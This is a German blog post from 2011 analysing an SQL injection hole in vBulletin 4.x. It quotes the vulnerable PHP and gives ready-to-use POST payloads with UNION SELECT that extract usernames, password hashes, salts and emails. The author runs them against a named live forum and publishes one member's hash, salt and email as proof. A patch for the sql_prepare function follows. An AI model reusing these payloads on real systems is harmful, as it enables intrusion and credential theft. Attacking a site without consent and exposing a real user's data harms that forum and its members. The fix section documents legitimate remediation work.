Freitag, 15. April 2011

vBulletin® 4.x SQL Injection Vulnerability

hoi,
Seit dem letzten Knüller von vBulletin habe ich eigentlich nicht mehr mit einer gravierenden Lücke gerechnet. Doch am 05.04.2011 wurde dann ein “vBulletin 4.X Security Patch” veröffentlicht. Inzwischen sind schon einige Tage vergangen und ich hoffe, dass der ein oder andere Admin sein Board inzwischen updated hat.
Interessant ist beispielsweise, dass es folgende Versionen betrifft:
vBulletin Publishing suite
  • 4.1.2
  • 4.1.1
  • 4.1.0 PL2
  • 4.0.8 PL2
  • 4.0.7
  • 4.0.6
  • 4.0.5
  • 4.0.4 PL1
  • 4.0.3 PL1
  • 4.0.2 PL4
  • 4.0.1
  • 4.0.0 PL1
vBulletin Forum classic
  • 4.1.2
  • 4.1.1
  • 4.1.0 PL2
  • 4.0.8 PL2
  • 4.0.7
  • 4.0.6 PL1
  • 4.0.5
  • 4.0.4 PL1
  • 4.0.3 PL1
  • 4.0.2 PL4
  • 4.0.1
  • 4.0.0 PL1
Kurz gesagt <= 4.1.2 | vBulletin 3.x ist davon nicht betroffen. Das ganze hört sich interessant an - ist es auch!
Wo befindet sich die Luecke?
Hinweis: Meine Zeilen beziehen sich auf die vB Version 4.1.2 – bei niedrigeren Versionen _kann_ die Zeilenangabe variieren, die Lücke ist aber die gleiche.
Dann schauen wir uns mal 2 Dateien an, zuerst die /vb/search/searchtools.php – dort gehen wir in Zeile 715, die in etwa so aussieht:
public static function getDisplayString($table, $table_display, $fieldname, $key, $id, $comparator, $is_date)
 {
  global $vbulletin, $vbphrase;
  $names = array();
 
  if (is_array($id))
  {
   //If we have an array, we have to use equals.
   $sql = "SELECT DISTINCT $table.$fieldname from " . TABLE_PREFIX . "$table AS
    $table WHERE $key IN (" . implode(', ', $id) . ")";
 
   if ($rst = $vbulletin->db->query_read($sql))
   {
    while($row = $vbulletin->db->fetch_row($rst))
    {
     $names[] = $row[0];
    }
   }
 
   if (count($names) > 0)
   {
    return $table_display . ': ' . implode(', ', $names);
   }
  }
  else
  {
   //If we got here, we have a single value
   if ($row = $vbulletin->db->query_first("SELECT $table.$fieldname from " . TABLE_PREFIX . "$table AS
    $table WHERE $key = $id"))
   {
    return  $table_display . ' ' . self::getCompareString($comparator, $is_date)
     . ' ' . $row[0];
   }
  }
  return "";
 }
Vorallem die Variable $id ist nun für uns interessant, da sie in dieser Datei nicht gefiltert/überprueft wird.
Nun schauen wir, wo diese verwundbare Funktion verwendet wird und finden dann in /packages/vbforum/search/type/socialgroup.php Zeile 201 – 203:
vB_Search_Searchtools::getDisplayString('socialgroupcategory', $vbphrase['categories'],
 
     'title', 'socialgroupcategoryid', $value, vB_Search_Core::OP_EQ, true ));
Wenn wir das nun mit der obigen Funktion vergleichen:
public static function getDisplayString($table, $table_display, $fieldname, $key, $id, $comparator, $is_date)
 {
  global $vbulletin, $vbphrase;
  $names = array();
 
  $id = $vbulletin->db->sql_prepare($id);
  if (is_array($id))
  {
Wird es diese wohl sein ;)
Wie nutze ich das nun aus?
Wie oben gesehen, wird es wohl etwas mit den “socialgroups” also den “Gruppen” unter vBulletin und einer Suche dort zu tun haben. Ich werde euch _eine_ Möglichkeit zeigen, wie ihr die Lücke ausnutzen könnt. Es empfiehlt sich ein Addon wie “Live HTTP Headers” (für Firefox) zu benutzen, da wir mit dem POST Parameter arbeiten werden.
Schauen wir uns mal die Suche (search.php) an:
Erstmal klicken wir auf “Search by Type” bzw. “Search Multiple Content Types”, wählen dort dann “Gruppen” (bzw. Groups) aus und suchen am besten nach einer Gruppe, die auch existiert – ich werde es anhand von einem Live Beispiel demonstrieren.
Habe mir dieses Forum kurz geschnappt:
http://airoma.org/forum
Nun suchen wir nach “team”, da es ein paar Gruppen gibt, die den Text im Titel haben:

Einen Treffer gibts auch:


Schauen wir uns mal den POST Inhalt an, der in meinem Fall so aussieht:
type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=
Um nun die Luecke auszunutzen, haengen wir unsere SQL Injection hinten dran:
type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT 'haxhax' #
Und sieh an, sieh an:

Eine eindeutige Ausgabe :)
Nun kann man zum Beispiel so weiter machen:
type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT concat_ws(0x3a,username,password,salt,email) FROM bulletinuser limit 1,1#
und siehe da:

Richard™:cecc1cac4442df94e95eae0f02a0c64e:W&c$q#V}rD85C'D7~0,($cg,:/N:L#:richard@airoma.org
Quasi owned ;)
Wie behebe ich die Luecke?
Als vB Kunde einfach den passenden Patch benutzen, auf vBulletin 4.1.3 updaten oder “von hand” schnell fixxen (ich werde die Methode zeigen, welche im Patch Level verwendet wurde):
/vb/search/searchtools.php
 
  $id = $vbulletin->db->sql_prepare($id);
  if (is_array($id))
  {
Sprich es wurde einfach “$id = $vbulletin->db->sql_prepare($id);” hinzugefuegt. Nun _muss_ noch die
/includes/class_core.php
editiert werden, naemlich:
Alt (Zeile 750):
function sql_prepare($value)
 {
  if (is_string($value))
  {
   return "'" . $this->escape_string($value) . "'";
  }
  else if (is_numeric($value) AND $value + 0 == $value)
  {
   return $value;
  }
  else if (is_bool($value))
  {
   return $value ? 1 : 0;
  }
  else
  {
   return "'" . $this->escape_string($value) . "'";
  }
 }
Neu:
function sql_prepare($value)
 {
  if (is_string($value))
  {
   return "'" . $this->escape_string($value) . "'";
  }
  else if (is_numeric($value) AND $value + 0 == $value)
  {
   return $value;
  }
  else if (is_bool($value))
  {
   return $value ? 1 : 0;
  }
  else if (is_null($value))
  {
   return "''";
  }
  else if (is_array($value))
  {
   foreach ($value as $key => $item)
   {
    $value[$key] = $this->sql_prepare($item);
   }
   return $value;
  }
  else
  {
   return "'" . $this->escape_string($value) . "'";
  }
 }




So das war's erstmal..

~fred

1 Kommentar:

  1. Finde deine Beschreibungen genial, schau mir den Blog regelmäßig an. Dickes Lob! Würde dir gerne mal "privat" ein zwei fragen stellen.
    Meld dich mal hurzderfurz@hushmail.com - hab mal ne wegwerf email addy genommen - fürs erste! Danke!

    AntwortenLöschen